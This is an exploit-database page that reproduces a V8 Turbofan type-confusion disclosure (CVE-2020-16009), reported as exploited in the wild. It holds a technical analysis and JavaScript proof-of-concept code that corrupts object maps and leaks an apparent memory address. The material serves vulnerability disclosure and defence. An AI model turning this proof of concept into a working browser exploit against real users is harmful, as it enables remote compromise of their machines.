Lucene search

K
zdtSaelo1337DAY-ID-35211
HistoryNov 09, 2020 - 12:00 a.m.

Chrome V8 Turbofan Type Confusion Exploit

2020-11-0900:00:00
saelo
0day.today
87

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.783 High

EPSS

Percentile

98.2%

V8: Turbofan fails to deoptimize code after map deprecation, leading to type confusion

NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline.

VULNERABILITY DETAILS

When turbofan compiles code that performs a Map transition, it usually installs a CodeDependency so that the resulting code is deoptimized should the target Map ever be deprecated (meaning that the code should now transition to a different Map). This is done through the TransitionDependencyOffTheRecord function [1]. This function will only install the dependency if the target Map can be deprecated, which is determined by Map::CanBeDeprecated [2], shown next

    bool Map::CanBeDeprecated() const {
      for (InternalIndex i : IterateOwnDescriptors()) {
        PropertyDetails details = instance_descriptors(kRelaxedLoad).GetDetails(i);
        if (details.representation().IsNone()) return true;
        if (details.representation().IsSmi()) return true;
        if (details.representation().IsDouble() && FLAG_unbox_double_fields)        <---
          return true;
        if (details.representation().IsHeapObject()) return true;
        if (details.kind() == kData && details.location() == kDescriptor) {
          return true;
        }
      }
      return false;
    }

As can be seen, this function assumes that a Map storing only fields of type Double or Tagged can not be deprecated if FLAG_unbox_double_fields is false, which is the case if pointer compression is enabled (the default on x64). This appears to be incorrect, as the following code demonstrated:

    // Requires --nomodify-field-representation-inplace

    function poc() {
        function hax(o) {
            o.a = 13.37;
        }

        let o1 = {};
        for (let i = 0; i < 100000; i++) {
            let o = i == 1000 ? {} : o1;
            hax(o);
        }

        let o2 = {};
        o2.a = {};
        // Map1 is now deprecated
        // %HaveSameMap(o2, o1) === false

        let o3 = {};
        hax(o3);
        // o3 was now transitioned to a deprecated map
        %DebugPrint(o3);
        // ...
        //  - deprecated_map
    }
    %NeverOptimizeFunction(poc);
    poc();

This code ends up performing a new transition to a deprecated map.

This bug can be exploited when combined with the in-place field generalization mechanism. In short, the idea is to

1. JIT compile a function that performs a transition from map1{a:double} to map2{a:double,b:whatever}
2. Deprecate map2. This does not deoptimize the JIT code since map2 was thought to not be deprecatable
3. In-place generalize map1.a to type tagged. This will not also generalize map2 since it is deprecated.
4. Execute the JIT code. This will effectively transition from map1{a:tagged} to map2{a:double,b:whatever}, which is incorrect and results in a type confusion.

The following code achieves that and causes a check failure in debug builds: \"Debug check failed: value.IsHeapNumber().\" while printing (presumably) an address in release builds.

REPRODUCTION CASE
// Tested on v8 built from current HEAD (dd84c3937058b086b6b7a412ac352179e20bd9c7)
// Requires --allow-natives-syntax

function assert(c) {
    if (!c) { throw \"Assertion failed\"; }
}

function assertFalse(c) {
    assert(!c);
}

function poc() {
    function hax(o) {
        o.c = 13.37;
    }

    function makeObjWithMap5() {
        let o = {};
        o.a = 13.37;
        o.b = {};
        return o
    }

    // Create a bunch of Maps. See the assertions for their relationships

    let m1 = {};

    let m2 = {};
    assert(%HaveSameMap(m2, m1));
    m2.a = 13.37;

    let m3 = {};
    m3.a = 13.37;
    assert(%HaveSameMap(m3, m2));
    m3.b = 1;

    let m4 = {};
    m4.a = 13.37;
    m4.b = 1;
    assert(%HaveSameMap(m4, m3));
    m4.c = {};

    let m4_2 = {};
    m4_2.a = 13.37;
    m4_2.b = 1;
    m4_2.c = {};
    assert(%HaveSameMap(m4_2, m4));

    let m5 = {};
    m5.a = 13.37;
    assert(%HaveSameMap(m5, m2));
    m5.b = 13.37;
    assertFalse(%HaveSameMap(m5, m3));

    // At this point, Map3 and Map4 are both deprecated. Map2 transitions to Map5.
    // Map5 is the migration target for Map3. The Migration target for Map4 is a new Map
    assertFalse(%HaveSameMap(m5, m3));

    let m6 = makeObjWithMap5();
    assert(%HaveSameMap(m6, m5));
    hax(m6);

    let kaputt = makeObjWithMap5();
    assert(%HaveSameMap(kaputt, m5));

    for (let i = 0; i < 100000; i++) {
        let o = i == 1337 ? makeObjWithMap5() : m6;
        hax(o);
    }

    // Map4 is deprecated, so this property access triggers a Map migration.
    // This will end up creating a new Map, Map7, to which both Map4 and Map6
    // migrate. Map5's transition entry afterwards points to Map7 and no
    // longer to Map6. Map6 is deprecated.
    let m7 = m4_2;
    assert(%HaveSameMap(m7, m4));
    m7.c;
    assertFalse(%HaveSameMap(m7, m4));

    // However, hax was not deoptimized and still transitions to Map6 because
    // Map::CanBeDeprecated returns false for it.

    // This does a in-place map generalization of Map5 and Map7, but not Map6.
    // Map6 still indicates that .a should be a double field.
    kaputt.a = \"asdf\";
    assert(%HaveSameMap(kaputt, m5));

    // This now migrates to the wrong map (Map6) because hax was not deoptimized.
    // This is incorrect because .a now stores a HeapObject and not a double.
    hax(kaputt);

    // This now fails in debug builds
    %HeapObjectVerify(kaputt);

    // This prints (presumably) an address in release builds
    console.log(kaputt.a);
}
%NeverOptimizeFunction(poc);

poc();


CREDIT INFORMATION
Clement Lecigne of Google's Threat Analysis Group and Samuel Gro\u00df of Google Project Zero

NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline.

[1] https://source.chromium.org/chromium/chromium/src/+/master:v8/src/compiler/compilation-dependencies.cc;l=641;drc=b4ed955a8e69c4f5fad8fc5ead483571298f1a81;bpv=1;bpt=1
[2] https://source.chromium.org/chromium/chromium/src/+/master:v8/src/objects/map-inl.h;l=563;drc=b4ed955a8e69c4f5fad8fc5ead483571298f1a81;bpv=1;bpt=1


Related CVE Numbers: CVE-2020-16009.

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.783 High

EPSS

Percentile

98.2%